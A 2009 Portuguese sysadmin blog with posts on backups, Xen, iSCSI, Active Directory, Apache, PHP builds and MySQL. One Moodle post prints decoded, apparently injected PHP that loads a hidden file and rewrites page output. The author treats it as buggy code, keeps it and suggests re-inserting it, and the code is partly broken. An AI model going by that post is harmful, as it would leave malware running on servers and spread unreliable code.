sexta-feira, 2 de outubro de 2009

GBU - Gerenciador de BackUps - versão 0.1.1 - Sistema para gerenciamento de backups em php+bash

===============================
[GBU - Gerenciador de BackUps]

Versão Beta 0.1.1
Licensa GPL
Autor André Oshiro Barcelos

GBU é um sistema para gerenciamento de backups feito em php+bash que realiza backup de servidores remotos via comando SCP.


===============================
[Tipos de backups realizados]

- arquivos
- diretórios
- dump de banco MySQL.


===============================
[Instalação]

Para instala-lo você deve possuir um servidor de backups com linux e o php5-cli instalado. Execute o arquivo do gbu com o comando install (ex.: php gbu.0-1-1.php install). Siga as mensagens que forem exibidas na tela.


===============================
[Cluster de storages de backup]

Você pode eleger mais de 1 servidor para efetuar os backups e manter a gerência centralizada, basta instalar o gbu em outros servidores e manter a lista de backups em 1 único.
Ex.:
Existem 2 servidores para backup: bkp1 e bkp2. Onde bkp1 é o nosso gerenciador e também storage; bkp2 é somente storage.
Efetuando "gbufes list" no bkp1

====================================================
ID HOST/ALVO STORAGE TIPO FREQ CIC ULTBKP
====================================================
1 web.aob.br#1 dire s:2 2 021009
/www/site /sto/hd01/ 000010
gbu/site 3600s

----------------------------------------------------
2 dns.aob.br#1 bkp2.aob.br dire s:6 2 021009
/etc/dns.conf /sto/hd01/gb 010203
u/dns 17s

----------------------------------------------------

Como podemos ver, nossa lista de backup está centralizada em bkp1.aob.br, e utilizamos o servidor bkp1.ufes.br como (quando oculto é assumido o host local) e o host bkp2.ufes.br como storage.


===============================
[Erros conhecidos]

- Erro ao copiar arquivos maiores de 60GB:
Se ao tentar efetuar backup de um arquivo/pasta maior que 60GB e o mesmo parar a cópia em 60GB, verifique o usuário gbufes criado na máquina de backup, o mesmo deve possuir a pasta /home/gbufes/.ssh criada com permissões de owner e grupo setadas para gbufes. Esse erro ocorre pois o fingerprint da máquina alvo não é escrito dentro do diretório /home/gbufes/.ssh, expirando a sessão do ssh a cada 1 hora e terminando a cópia do arquivo (cerca de 60GB são copiados em 1 hora numa rede FastEthernet).


===============================
[Ajude-nos a melhorar]
Para ajudar a melhorar o GBU, postem seus comentários, dúvidas, sugestões, bugs, ...


===============================
[Download GBU]

Clique aqui para baixar o GBU Versao 0.1.1

.

quarta-feira, 26 de agosto de 2009

Como adicionar monitoramento de partições no snmpd do linux

- Altere o arquivo /etc/snmp/snmpd.conf, descomente a linha:
.
.
.
disk / 10000
.
.
.
Nota: isso fara com que a particao / seja monitorada. 10000 informa que se a partição retornar um tamanho abaixo desse, um erro é iniciado.


- Para adicionar outras partições, acrescente novas linhas:
.
.
.
disk / 10000
disk /tmp 10000
disk /home 10000
.
.
.

- Utilize a mib UCD-SNMP-MIB::dskAvail para verificar o valor das partições:
Ex.: snmpwalk -v 1 -c trash12 hp8.ufes.br UCD-SNMP-MIB::dskAvail

Outras mibs que podem ajudar:

UCD-SNMP-MIB::dskTotal.1 = KiBs totais da partição 1
UCD-SNMP-MIB::dskTotal.2 = KiBs totais da partição 2
UCD-SNMP-MIB::dskAvail.1 = KiBs restantes na partição 1
UCD-SNMP-MIB::dskAvail.2 = KiBs restantes na partição 2
UCD-SNMP-MIB::dskUsed.1 = KiBs usados na partição 1
UCD-SNMP-MIB::dskUsed.2 = KiBs usados na partição 2
UCD-SNMP-MIB::dskPercent.1 = percentual usado na partição 1
UCD-SNMP-MIB::dskPercent.2 = percentual usado na partição 2

sexta-feira, 10 de julho de 2009

Script para alterar senha em texto plano de um usuário linux

Algo muito útil para criação de usuários por script é informar seu password. Porém os comandos adduser e passwd só permitem que a senha seja informada pelo usuário, não por um script, o passwd segue a mesma linha.
Não conhecia o comando chpasswd, com ele podemos informar a senha do usuário em texto plano como no script abaixo:

#!/bin/bash

sUsuario="suelen"
sSenha="su3l3n"

echo ${sUsuario}:${sSenha} | chpasswd -m

#Nota: -m utiliza MD5

sexta-feira, 19 de junho de 2009

Como criar um outro disco para maquinas virtuais Xen

Tenho um servidor web linux rodando em um servidor de maquinas virtuais Xen.
O espaço em disco do meu servidor web encheu! Precisei criar outro disco para o servidor web utilizar.
Fiz os passos abaixo:

[Criando arquivo/disco]
- Precisamos criar um novo arquivo para servir como disco rígido:
dd if=/dev/zero of=/xen/SRV-WEB1.disk2 bs=1M seek=10000 count=1
Nota: estou criando um arquivo/disco de 10000MB.

- Formatando arquivo/disco com sistema ext3:
mkfs.ext3 /xen/SRV-WEB1.disk2
Nota: será alertado que o arquivo não é de bloco, apenas confirme que quer continuar.


[Adicionando arquivo/disco à maquina virtual]
- Recuperando configurações da máquina virtual Xen:
virsh dumpxml SRV-WEB1 > /tmp/SRV-WEB1.xml

- Edite as configurações:
vim /tmp/SRV-WEB1.xml

- Adicione o novo arquivo/disco. No exemplo abaixo temos um pedaço do arquivo /tmp/SRV-WEB1.xml com configuração do primeiro e segundo disco.
Preste atenção que também foi informado o device 'xvdb' no segundo disco:
.
.
.
<disk type='file' device='disk'>
<driver name='file'/>
<source file='/xen/SRV-WEB1.disk1'/>
<target dev='xvda' bus='xen'/>
</disk>

<disk type='file' device='disk'>
<driver name='file'/>
<source file='/xen/SRV-WEB1.disk2'/>
<target dev='xvdb' bus='xen'/>
</disk>

.
.
.

- Desligue a maquina virtual:
xm shutdown SRV-WEB1

- Remova as configurações da máquina:
virsh undefine SRV-WEB1

- Adicione as novas configurações inseridas no arquivo /tmp/SRV-WEB1.xml:
virsh define /tmp/SRV-WEB1.xml

- Inicie novamente a máquina:
xm start SRV-WEB1

- Por fim, monte o novo HD em seu sistema:
mount /dev/xvdb1 /novohd
Nota: Se o disco não estiver formatado e particionado não aparecerá xvdb1 somente xvdb.

quinta-feira, 18 de junho de 2009

Como montar um device ISCSI, cliente ISCSI

Um servidor ISCSI permite que você crie um servidor de discos scsi. Deste modo, um servidor A com 500GB pode compartilha-los para que outros servidores utilizem esse espaço como um disco scsi local.
Veja como montar um servidor ISCSI em http://www.1bit.com.br/content.1bit/weblog/iscsi_cluster.
Nesse post ensinarei como montar um disco ISCSI existente em um servidor, isso não foi comentado no artigo do 1bit.

A seguinte instalação foi realizada no unbuntu 9.

- Baixe o pacote que permite a conexão com o servidor:
apt-get install open-iscsi

- Edite o arquivo que indica o modo de autenticação, login e senha do servidor
vim /etc/iscsi/iscsid.conf

informe as seguintes linhas:
.
.
.
node.session.auth.authmethod = CHAP
node.session.auth.username = USUARIO
node.session.auth.password = SENHA

.
.
.

- Reinicie o serviço cliente para que as configurações tenham efeito
/etc/init.d/open-iscsi restart

- Conecte ao servidor ISCSI:
iscsiadm -m discovery -t sendtargets --login -p IP_DO_SERVIDOR_ISCSI

Nota:
Esse comando faz login no servidor ISCSI com as credenciais informadas em /etc/iscsi/iscsid.conf.
Após a execução desse comando será criado um novo device scsi. Ex.: /dev/sdb


[Possíveis Erros]
- "iscsiadm: automatic login after discovery is not fully implemented yet."
Se está utilizando o debian etch, baixe os pacotes do open-iscsi da versão lenny. Pelo que se pode ver, na versão etch não é suportado o login para os servidores.


[Dúvidas]
Ainda não sei como criar vários devices de servidores ISCSI diferentes. Pois o arquivo /etc/iscsi/iscsid.conf não permite informar diferentes logins para diferentes servidores. Se alguém sabe a solução, por favor comente-a aqui.

quinta-feira, 7 de maio de 2009

"Unable to connect to the domain controller because the logon attempt failed" ou "virus W32.Downadup"

Caso você esteja em um domínio de active directory e essa mensagem aparece quando você tenta usar alguma ferramenta de administração do active directory, tente os passos abaixo:
- Reinicie o serviço netlogon.
- Iniciar->executar->services.msc

Esse serviço é necessário para efetuar logon na rede.


[Atenção]

O virus W32.Downadup afeta os compartilhamentos de arquivos.
Como o Active Directory compartilhas as GPOs (diretivas de segurança) via compartilhamento de pasta para seus hosts, essas mensagens irão aparecer se seu PDC ou SDC estiver infectado com esse virus.
A solução é arrumar um bom antivirus e aplicá-lo aos PDC e SDC, verifique as tarefas agendadas, esse virus cria inúmeras schedules tasks para se propagar, limpe-as manualmente e crie uma regra para impedir a criação de tarefas agendadas nos controladores de domínio.

"Unable to obtain Terminal Server User Configuration" ou "the user has not been granted the requested logon type" ou "virus W32.Downadup"

Caso você esteja em um domínio de active directory e tente usar o remote desktop, fazer ftp, ou qualquer outra forma de autenticação utilizando o AD e essas mensagens aparecerem, tente os passos abaixo:

- verifique se o comando ntrights do pacote rktools.exe está instalado em seu PDC.
- estando instalado em seu PDC execute:
ntrights +r SeNetworkLogonRight -u Users
ntrights -r SeDenyNetworkLogonRight -u Users

Esse comando libera o grupo Users a fazer logon na rede, deste modo o remote desktop, ftp e outros serviços serão liberados também.


[Atenção]

O virus W32.Downadup afeta os compartilhamentos de arquivos.
Como o Active Directory compartilhas as GPOs (diretivas de segurança) via compartilhamento de pasta para seus hosts, essas mensagens irão aparecer se seu PDC ou SDC estiver infectado com esse virus.
A solução é arrumar um bom antivirus e aplicá-lo aos PDC e SDC, verifique as tarefas agendadas, esse virus cria inúmeras schedules tasks para se propagar, limpe-as manualmente e crie uma regra para impedir a criação de tarefas agendadas nos controladores de domínio.

terça-feira, 3 de março de 2009

Net ads join -U administrador -S dominio retorna: "ads_connect Preauthentication failed"

Quando utilizar o comando net ads join -U administrador -S dominio para logar em um domínio AD pelo linux e o seguinte erro for retornado:
"ads_connect Preauthentication failed"

Coloque a seguinte linha no seu /etc/samba/smb.conf:
security = ads

sexta-feira, 27 de fevereiro de 2009

Como criar um host virtual (virtual host) no apache

Edite o final do arquivo /etc/httpd/conf/httpd.conf adicionando as seguinte linhas:

<virtualhost> #url e porta que o servidor ficará escutando
ServerAdmin webcorreio@ufes.br #email do administrador
DocumentRoot /var/www/webcorreio #pasta do site, a pasta deve existir, senão o servidor acusará erro
ServerName webcorreio.ufes.br #url que chegará nas requisições
ErrorLog logs/webcorreio.ufes.br-error_log #arquivo de log de erro
CustomLog logs/webcorreio.ufes.br-access_log common #arquivo de log de acesso
</virtualhost>


- Tive uma dúvida logo que aprendi esse esquema de virtual host: Se o servidor web tem o ip Y e atende por vários nomes dns, e o dns resolve os nomes e sempre retorna o ip Y. Como o servidor web distinguirá os virtualhosts?
R.: O dns retorna o ip do servidor web, mas a requisição http ainda continua com o nome dns e porta que você requisitou!

segunda-feira, 16 de fevereiro de 2009

Problemas no moodle v 1.119: não é possível editar, excluir ou ocultar salas, recursos entre outros

No início do arquivo .\moodle\course\mod.php temos um código base64. Se decodificarmos esse código, teremos o seguinte código php:

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no']))
{
$GLOBALS['sh_no']=1;
if(file_exists('C:/xampplite/moodle/admin/mysql/pmd/styles/default/images/mdl_utf.php'))
{
/* Erro 1: esse include causa o problema */
//include_once('C:/xampplite/moodle/admin/mysql/pmd/styles/default/images/mdl_utf.php');

if(function_exists('gml')&&!function_exists('dgobh'))
{
if(!function_exists('gzdecode'))
{
function gzdecode($d)
{
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4)
{
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;

}
if($f&8)
{
$h=strpos($d,chr(0),$h)+1;
}
if($f&16)
{
$h=strpos($d,chr(0),$h)+1;
}
if($f&2)
{
$h+=2;
}
$u=gzinflate(substr($d,$h));
if($u===FALSE)
{
$u=$d;
}
return $u;

}

}
function dgobh($b)
{
Header('Content-Encoding: none');
$c=gzdecode($b);

/* Erro 2: estava assim antes
if(preg_match('/\]*\>)/si','$1'.gml(),$c); }
*/
if(preg_match('/\]*\>)/si','$1'.gml(),$c)
{
}
else
{
return gml().$c;
}

}
ob_start('dgobh');

}

}

}

Não sei se esse include do Erro 1 pertence ao moodle, ou se foi alguma tentativa de invasão (talvez uma atualização mal sucedida), porém se comentarmos a linha, volta ao normal.

Em Erro2 a notação do if estava errada, corrija-a.

Após corrigir os erros você pode codificar tudo com o base64_decode e substituir o código antigo pelo novo. Eu simplesmente ranquei todo o "eval(base64_decod(..." e coloquei esse código php que citei.

quinta-feira, 5 de fevereiro de 2009

Como habilitar o módulo LDAP no php do linux

LDAP é um módulo do php para comunicação com servidores ldap, como o openLdap do Linux ou o Active Directory do Windows.
Para habilitá-lo, instale o pacote php-ldap.


[Exemplo de instalação no Debian]

- Execute o seguinte comando:
apt-get install php-ldap



[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install php-ldap


[Remoção dos módulos]

Ao invés do parâmetro "install" nos comandos acima, utilize o parâmetro "remove".

Como habilitar o módulo GD no php do linux

GD é um módulo do php para manipulação de imagens.
Para habilitá-lo, instale o pacote php-gd.


[Exemplo de instalação no Debian]

- Execute o seguinte comando:
apt-get install php-gd



[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install php-gd


[Remoção dos módulos]

Ao invés do parâmetro install nos comandos acima, utilize o parâmetro remove.

quarta-feira, 4 de fevereiro de 2009

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Cannot find pspell"

Você deve instalar o pacote aspell-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install aspell-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Cannot find ldap.h"

Você deve instalar os pacotes openldap e openldap-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install openldap openldap-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "Configure error Unable to locate gmp.h"

Você deve instalar o pacote gmp-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install gmp-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "Configure error freetype.h not found"

Você deve instalar o pacote freetype-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install freetype-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "Configure error libpng.(also) not found"

Você deve instalar os pacotes libpng e libpng-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install libpng libpng-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "Configure error libjpeg.(also) not found"

Você deve instalar os pacotes libjpeg e libjpeg-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install libjpeg libjpeg-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Please reinstall the BZip2 distribution"

Você deve instalar o pacote bzip2-devel.

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install bzip2-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Please reinstall the libcurl distribution"

Você deve instalar os pacotes curl e curl-devel.

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install curl curl-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Could not find pcre.h in /usr"

Você deve instalar o pacote pcre-devel para poder pegar o cabeçalho pcre.h

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install pcre-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Cannot find OpenSSL's evp.h"

Você deve instalar o pacote openssl-dev* para poder pegar o cabeçalho evp.h

[Exemplo de instalação no Debian]

- Execute o seguinte comando:
apt-get install openssl-dev*


[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install openssl-dev*

Nota: No Fedora o nome do pacote é openssl-devel. Algumas distribuições podem apresentar nomes distintos para o mesmo pacote.

Ao tentar instalar o PHP no linux aparece a seguinte mensagem: "configure error xml2-config not found. Please check your libxml2 installation"

Você deve instalar o pacote libxml2-dev* para poder pegar o comando xml2-config.

[Exemplo de instalação no Debian]

- Execute o seguinte comando:
apt-get install libxml2-dev*


[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install libxml2-dev*

Nota: No Fedora o nome do pacote é libxml2-devel. Algumas distribuições podem apresentar nomes distintos para o mesmo pacote.

segunda-feira, 19 de janeiro de 2009

ldap_search + PHP + filter por atributo memberOf

Estou fazendo um sistema em php que faz pesquisas no Active Directory.
Precisei pesquisar todos os usuários do grupo Professores, como não é tão óbvia a pesquisa, resolvi registrá-la aqui:


[Introdução]

objectClass=<tipo do objeto> busca todos os objetos com o tipo informado
memberof=<grupo> busca todos anteriores que são membros do


[Pesquisa ERRADA]

$sFilter = "(&(objectClass=user)(memberof=Professores))";
$pResult = ldap_search($pLinkParaAD, "cn=usuarios,dc=teste,dc=com", $sFilter, array("name"));


- Esse foi o meu erro: memberof=Professores, não é assim que o AD grava o nome dos grupos.


[Pesquisa CORRETA]

$sFilter = "(&(objectClass=user) (memberof=CN=Professores,CN=Users,DC=teste,DC=com))";
$pResult = ldap_search($pLinkParaAD, "cn=usuarios,dc=teste,dc=com", $sFilter, array("name"));

- Deve ser informado o DN (nome distindo) do grupo: CN=Professores,CN=Users,DC=teste,DC=com

- Para descobrir-lo faça uma pesquisa com o ldap_search:
$sFilter = "(&(objectClass=group))";
$pResult = ldap_search($pLinkParaAD, "cn=usuarios,dc=teste,dc=com", $sFilter, array("dn"));

sexta-feira, 16 de janeiro de 2009

mysql ERROR 1036 (HY000) Table 'TABELA' is read only

Esse problema ocorreu quando fiz um backup do banco de dados (BANCO_TESTE) mysql simplesmente copiando os arquivos (/var/lib/mysql). O mysql deve ter algum mecanismo, que ainda não descobri o que é, que bloqueia a escrita nesses casos.
Para contornar o problema, procedi da seguinte maneira:

- Todos os passos devem ser efetuados com o usuário root do mysql.

- Fiz um dump do banco de dados BANCO_TESTE (a senha é grudado no "p" mesmo):
mysqldump -u root -psenha_root BANCO_TESTE > BANCO_TESTE-backup.sql

- Entrei no console mysql:
mysql -u root -psenha_root

- Apaguei o banco de dados problemático (atente-se ao ";" pois é sql):
drop database BANCO_TESTE;

- Criei um novo banco de dados:
create database BANCO_TESTE;

- Atribuí permissões ao usuário no novo banco de dados de qualquer domínio:
GRANT ALL PRIVILEGES ON 'BANCO_TESTE'.* TO 'usuario_do_banco_teste'@'%';

- Saí do console (\q é um parâmetro do console mysql):
\q

- Recuperei o backup:
mysql -u root -psenha_root BANCO_TESTE < BANCO_TESTE-backup.sql

- Pronto, a partir daí tudo funcionou perfeitamente.


[Dicas]

- Se for fazer backup de um banco de dados nunca copie os arquivos! Principalmente se for postgres (ele é mais seguro que o mysql, nem deixa executar o serviço).
Sempre utilize as ferramentas de dump: mysqldump para o mysql ou pg_dump para o postgres.